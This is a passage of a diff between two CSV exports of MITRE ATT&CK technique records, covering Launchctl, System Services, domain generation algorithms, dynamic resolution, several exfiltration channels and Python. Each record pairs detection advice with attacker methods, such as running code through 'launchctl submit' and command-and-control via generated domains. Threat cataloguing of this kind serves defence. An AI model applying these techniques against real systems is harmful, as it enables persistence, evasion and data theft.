launchctl load -w ""%s/Library/LaunchAgents/%s"" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques) +","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1569/001', 'external_id': 'T1569.001'}, {'source_name': 'Launchctl Man', 'description': 'SS64. (n.d.). launchctl. Retrieved March 28, 2020.', 'url': 'https://ss64.com/osx/launchctl.html'}, {'source_name': 'Sofacy Komplex Trojan', 'description': ""Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."", 'url': 'https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/'}, {'source_name': '20 macOS Common Tools and Techniques', 'description': 'Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.', 'url': 'https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation', 'Service: Service Creation', 'File: File Modification']",,"Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders. -By loading or reloading [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s, adversaries can install persistence or execute changes they made.(Citation: Sofacy Komplex Trojan) +Monitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious. -Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute ""arg"" ""arg"" ""arg"". Adversaries can abuse this functionality to execute code or even bypass application control if launchctl is an allowed process.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1569/001', external_id='T1569.001'), ExternalReference(source_name='Launchctl Man', description='SS64. (n.d.). launchctl. Retrieved March 28, 2020.', url='https://ss64.com/osx/launchctl.html'), ExternalReference(source_name='Sofacy Komplex Trojan', description=""Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."", url='https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/')]",attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-06-08 23:28:29.079000+00:00,Launchctl,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'Process: Process Creation', 'Service: Service Creation', 'File: File Modification']",,,,,"KnockKnock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.",,,,,True,,,"['User', 'root']",['macOS'],,,,1.0 -2020-03-10 18:23:06.482000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1569', external_id='T1569')]",attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-06-08 23:28:29.250000+00:00,System Services,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'Process: Process Creation', 'Service: Service Creation', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification']",,,,,"Monitor for command line invocations of tools capable of modifying services that doesn’t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry.",,,,,False,,,"['User', 'Administrator', 'SYSTEM', 'root']","['Windows', 'macOS']",,,,1.0 -2020-03-10 17:44:59.787000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019) +When removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.",True,"['User', 'root']",['macOS'],1.1,,,,,,, +attack-pattern,attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-10T18:23:06.482Z,2021-10-15T18:40:23.888Z,System Services,"Adversaries may abuse system services or daemons to execute commands or programs. Adversaries can execute malicious content by interacting with or creating services either locally or remotely. Many services are set to run at boot, which can aid in achieving persistence ([Create or Modify System Process](https://attack.mitre.org/techniques/T1543)), but adversaries can also abuse services for one-time or temporary execution.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1569', 'external_id': 'T1569'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation', 'Service: Service Creation', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification']",,"Monitor for command line invocations of tools capable of modifying services that doesn’t correspond to normal usage patterns and known software, patch cycles, etc. Also monitor for changes to executables and other files associated with services. Changes to Windows services may also be reflected in the Registry.",False,"['User', 'Administrator', 'SYSTEM', 'root']","['Windows', 'macOS']",1.1,True,,,,,, +attack-pattern,attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-10T17:44:59.787Z,2020-11-10T18:28:57.002Z,Domain Generation Algorithms,"Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019) DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation) -Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1568/002', external_id='T1568.002'), ExternalReference(source_name='Cybereason Dissecting DGAs', description='Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.', url='http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf'), ExternalReference(source_name='Cisco Umbrella DGA', description='Scarfo, A. (2016, October 10). Domain Generation Algorithms – Why so effective?. Retrieved February 18, 2019.', url='https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/'), ExternalReference(source_name='Unit 42 DGA Feb 2019', description='Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.', url='https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/'), ExternalReference(source_name='Talos CCleanup 2017', description='Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.', url='http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html'), ExternalReference(source_name='Akamai DGA Mitigation', description='Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.', url='https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html'), ExternalReference(source_name='FireEye POSHSPY April 2017', description='Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.', url='https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html'), ExternalReference(source_name='ESET Sednit 2017 Activity', description='ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.', url='https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/'), ExternalReference(source_name='Data Driven Security DGA', description='Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.', url='https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/'), ExternalReference(source_name='Pace University Detecting DGA May 2017', description='Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.', url='http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf'), ExternalReference(source_name='Elastic Predicting DGA', description='Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.', url='https://arxiv.org/pdf/1611.00791.pdf')]",attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-11-10 18:28:57.002000+00:00,Domain Generation Algorithms,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Ryan Benson, Exabeam', 'Barry Shteiman, Exabeam', 'Sylvain Gil, Exabeam']","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']",,,,,"Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains. +Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1568/002', 'external_id': 'T1568.002'}, {'source_name': 'Cybereason Dissecting DGAs', 'description': 'Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.', 'url': 'http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf'}, {'source_name': 'Cisco Umbrella DGA', 'description': 'Scarfo, A. (2016, October 10). Domain Generation Algorithms – Why so effective?. Retrieved February 18, 2019.', 'url': 'https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/'}, {'source_name': 'Unit 42 DGA Feb 2019', 'description': 'Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.', 'url': 'https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/'}, {'source_name': 'Talos CCleanup 2017', 'description': 'Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.', 'url': 'http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html'}, {'source_name': 'Akamai DGA Mitigation', 'description': 'Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.', 'url': 'https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html'}, {'source_name': 'FireEye POSHSPY April 2017', 'description': 'Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html'}, {'source_name': 'ESET Sednit 2017 Activity', 'description': 'ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.', 'url': 'https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/'}, {'source_name': 'Data Driven Security DGA', 'description': 'Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.', 'url': 'https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/'}, {'source_name': 'Pace University Detecting DGA May 2017', 'description': 'Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.', 'url': 'http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf'}, {'source_name': 'Elastic Predicting DGA', 'description': 'Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.', 'url': 'https://arxiv.org/pdf/1611.00791.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Ryan Benson, Exabeam', 'Barry Shteiman, Exabeam', 'Sylvain Gil, Exabeam']","['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation']",,"Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains. -Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-10 17:28:11.747000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control. +Machine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)",True,['User'],"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-10T17:28:11.747Z,2020-10-02T01:37:39.938Z,Dynamic Resolution,"Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. These calculations can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control. -Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1568', external_id='T1568'), ExternalReference(source_name='Talos CCleanup 2017', description='Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.', url='http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html'), ExternalReference(source_name='FireEye POSHSPY April 2017', description='Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.', url='https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html'), ExternalReference(source_name='ESET Sednit 2017 Activity', description='ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.', url='https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/'), ExternalReference(source_name='Data Driven Security DGA', description='Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.', url='https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/')]",attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='command-and-control')]",2020-10-02 01:37:39.938000+00:00,Dynamic Resolution,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Chris Roffe'],"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,,,,"Detecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.",,,,,False,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-09 17:07:57.392000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an attacker may opt to exfiltrate data using a Bluetooth communication channel. +Adversaries may use dynamic resolution for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ dynamic resolution as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'command-and-control'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1568', 'external_id': 'T1568'}, {'source_name': 'Talos CCleanup 2017', 'description': 'Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.', 'url': 'http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html'}, {'source_name': 'FireEye POSHSPY April 2017', 'description': 'Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html'}, {'source_name': 'ESET Sednit 2017 Activity', 'description': 'ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.', 'url': 'https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/'}, {'source_name': 'Data Driven Security DGA', 'description': 'Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.', 'url': 'https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Chris Roffe'],"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content']",,"Detecting dynamically generated C2 can be challenging due to the number of different algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There are multiple approaches to detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more (Citation: Data Driven Security DGA). CDN domains may trigger these detections due to the format of their domain names. In addition to detecting algorithm generated domains based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.",False,['User'],"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T17:07:57.392Z,2020-03-28T00:34:55.439Z,Exfiltration Over Bluetooth,"Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an attacker may opt to exfiltrate data using a Bluetooth communication channel. -Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1011/001', external_id='T1011.001')]",attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='exfiltration')]",2020-03-28 00:34:55.439000+00:00,Exfiltration Over Bluetooth,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,,,,"Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious. +Adversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1011/001', 'external_id': 'T1011.001'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious. -Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.",,,,,True,,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-09 15:04:32.767000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet. +Monitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.",True,,"['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T15:04:32.767Z,2020-03-28T01:02:24.172Z,Exfiltration to Cloud Storage,"Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet. -Examples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1567/002', external_id='T1567.002')]",attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='exfiltration')]",2020-03-28 01:02:24.172000+00:00,Exfiltration to Cloud Storage,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to known cloud storage services. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.",,,,,True,True,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-09 14:51:11.772000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection. +Examples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1567/002', 'external_id': 'T1567.002'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to known cloud storage services. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.",True,,"['Linux', 'macOS', 'Windows']",1.0,,,True,,,, +attack-pattern,attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T14:51:11.772Z,2020-03-28T00:58:55.433Z,Exfiltration to Code Repository,"Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection. -Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. ","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1567/001', external_id='T1567.001')]",attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='exfiltration')]",2020-03-28 00:58:55.433000+00:00,Exfiltration to Code Repository,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,,,,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to code repositories. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.",,,,,True,True,,,"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-03-09 14:38:24.334000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables. +Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. ","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'exfiltration'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1567/001', 'external_id': 'T1567.001'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Network Traffic: Network Traffic Flow', 'Network Traffic: Network Traffic Content', 'File: File Access', 'Command: Command Execution']",,"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to code repositories. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.",True,,"['Linux', 'macOS', 'Windows']",1.0,,,True,,,, +attack-pattern,attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T14:38:24.334Z,2021-07-26T22:49:23.094Z,Python,"Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables. -Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1059/006', external_id='T1059.006')]",attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-06-23 19:03:15.180000+00:00,Python,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: 